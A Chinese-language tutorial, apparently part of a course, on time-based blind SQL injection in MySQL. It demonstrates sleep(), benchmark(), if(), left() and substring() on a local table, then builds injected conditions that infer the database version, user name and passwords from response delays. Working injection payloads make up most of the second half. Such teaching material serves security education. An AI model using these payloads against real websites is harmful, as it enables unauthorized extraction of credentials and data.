0
点赞
收藏
分享

微信扫一扫

2-8时间窃取函数以及SQL注入应用

狐沐说 2022-02-03 阅读 70

1.时间窃取相关函数基本使用

我们通过实际的操作,给大家演示一下,use hxf

在这里插入图片描述

我们先看一下当前数据库下,有那些表,show tables;

在这里插入图片描述

其中,我们看下,select * from user;

在这里插入图片描述

有5条记录,并且它返回来的速度很快,0.0秒

我们有个函数叫休眠函数,sleep,休眠后面加个数字,1代表休眠1秒,我们回车看一下,select sleep(1);

在这里插入图片描述

我们看到它休眠了1秒钟,也就是执行了1秒

当我们输入两秒的时候,我们看下结果,select sleep(2);

在这里插入图片描述

自然就是两秒,所以,我们在查询的时候,如果select * from user,我们同时让它睡眠1秒钟,select *,sleep(1) from user;

在这里插入图片描述

我们看到这次结果,不一样,虽然它睡眠是1秒,但是我们有5条记录,所以它睡眠了5秒

这就是睡眠的一个特性,多少条记录,它就睡眠多少秒

压力测试函数,压力测试叫benchmark(),它是对计算测试,多少次,所花费的时间,比如10万次,对huangxifengmd5加密进行计算,计算10万次所花费的时间,回车看下,select benchmark(100000,md5(‘huangxifeng’));

在这里插入图片描述

我们看到计算10万次,也只是花费0.03秒,这个函数是衡量mysql在不同的平台,性能是怎么样的

但是在注入中,往往也有它的应用,10万,显然是太快了,100万,可能也是0.04秒,那500万呢,select benchmark(5000000,md5(‘huangxifeng’));

在这里插入图片描述

我们看到是接近两秒,这也是压力测试的一个特点

我们看一下if()函数,如果5大于2,那么就是a,如果不是的话,就是b,我们回车先看一下,select if(5>2,‘a’,‘b’);

在这里插入图片描述

if有3个表达式,第一个表达式是计算,如果为真就用第二个参数,如果为假,就用第三个参数

我们还可以把它变为假,2大于5,这显然是假,select if(2>5,‘a’,‘b’);

在这里插入图片描述

返回的就是b,这就是if的用法

我们概括一下

相关函数:

睡眠函数:Sleep()

取左边多少字符:left

取字符串中任意个字符:substring()

benchmark()

if()

Select sleep(1):睡眠1秒

Select left(user(),1):获得user()最左边的1位

Substring():获得字符串任意位置的任意个字符

Benchmark():对运算执行压力测试,以便测试这个计算花费多长时间

If()表达式,第一个表达式为真,则执行第二个表达式,否则执行第三个表达式

2.时间窃取盲注应用

我们通过实际的操作,给大家演示一下

我们查询整张表,select * from user;

在这里插入图片描述

就5条记录,返回实际上是0秒,速度相当快

假如,我们注入者输入if and逻辑关系,我们取版本号最左边一个字符,如果大于4,我们就睡眠5秒,否则的话,就取1,select * from user where uname=‘admin’ and if(left(version(),1)>4,sleep(5),1);

在这里插入图片描述

显然版本号左边大于4,因为我们的查询结构出来只有1条记录的,所以要睡眠5秒,那我们得出的结果就很慢,所以,我们网页查询出来,它的结构会延迟一些,甚至,我们会感觉到很慢,那么,这就对了,这就是盲注中,本身的意义

and后面才是我们攻击者注入的时候,要输入的内容,select * from user where uname=‘admin’ and if (left(version(),1)=1,sleep(5),1);

在这里插入图片描述

这个是假,执行表达式是1,只要是大于0的数字,实际上返回的都是真,因此,结果是不变的逻辑,所以返回的就是0毫秒

那我们看一下等于2,我们一直输下去,select * from user where uname=‘admin’ and if (left(version(),1)=2,sleep(5),1);

select * from user where uname=‘admin’ and if (left(version(),1)=3,sleep(5),1);

select * from user where uname=‘admin’ and if (left(version(),1)=4,sleep(5),1);

在这里插入图片描述

当我们输到5的时候,select * from user where uname=‘admin’ and if (left(version(),1)=5,sleep(5),1);

在这里插入图片描述

我们执行了5秒钟,原因是,我们返回了1条记录,所以它睡眠了5秒

而在实际的网页商品中,我们返回的商品可能有10种,甚至100种,那我们执行的100秒是相当久的,所以where条件中,我们就把uname去掉,这时候执行的就是25秒,我们感受一下,select * from user where if(left(version(),1)=5,sleep(5),1);

在这里插入图片描述

25秒过去了,5秒钟和0秒钟的差别,主要用于盲注的判断

5秒钟,要返回很长的时间,如果不是,就很快,这是sleep的一个应用

接下来,我们讲一下benchmark的应用

我们把它替换成benchmark,我们使用substring对当前用户名进行判断,从第一个字符开始取,取1个,判断它是否等于a,如果是真的,我们就benchmark,执行500万次,我们用md5对字符串进行加密,这个字符串大家可以自己定义,加个1,我们回车,select * from user where uname=‘admin’ and if(substring(user(),1,1)=‘a’,benchmark(5000000,md5(‘huangxifeng’)),1);

在这里插入图片描述

我们发现速度很快,因为当前的用户是root,select user();

在这里插入图片描述

第一个字母应该是r,所以a是假,就不会执行benchmark(),而是执行1,1是真,所以它速度相当之快

那我们就会进行猜测,我们会a、b、c一直猜测下去,如果我们知道是root,那我们就直接输r,我们回车,select * from user where uname=‘admin’ and if(substring(user(),1,1)=‘r’,benchmark(5000000,md5(‘huangxifeng’)),1);

在这里插入图片描述

我们看到查询结果相当慢,它花费了1.25秒,这种时间的差别,就在我们盲注中,对数据的猜测和利用

我们概括一下,时间窃取函数的原理

1.猜测版本号,穷举法猜测用户名、密码等

Select * from users where uname=‘$uname’ and if(left(version(),1)=5,sleep(1),2);

使用sleep(),睡眠多少秒,如果它的时间返回的更慢一些,那我们的猜测就是正确的

2.Benchmark穷举法猜测用户名和密码等

select * from users where uname=‘admin’ and if(substring(uname,1,1)=‘b’,benchmark(10000000,md5(‘b’)),1);

我们输入计算的次数多,返回的时间就越慢,我们所感觉的判断就越准确,包括sleep也是,我们输入的秒数高,对猜测的判断就越有帮助

时间窃取函数,主要跟穷举法结合使用

3.小结

常用函数有哪些?

Sleep(),left,substring(),benchmark(),if()

常用的时间窃取函数:Sleep()、benchmark()、,if()

配合的函数:left,substring()

我们实现了时间窃取的办法,能够从时间当中窃取一些信息出来,实际上,这些窃取也得到了,相当多的信息,这些都是让它直接爆出来的

如果以上的办法无效的情况下,我们可以让它自己爆出来,自己爆出来,我们叫自爆家底

举报

相关推荐

0 条评论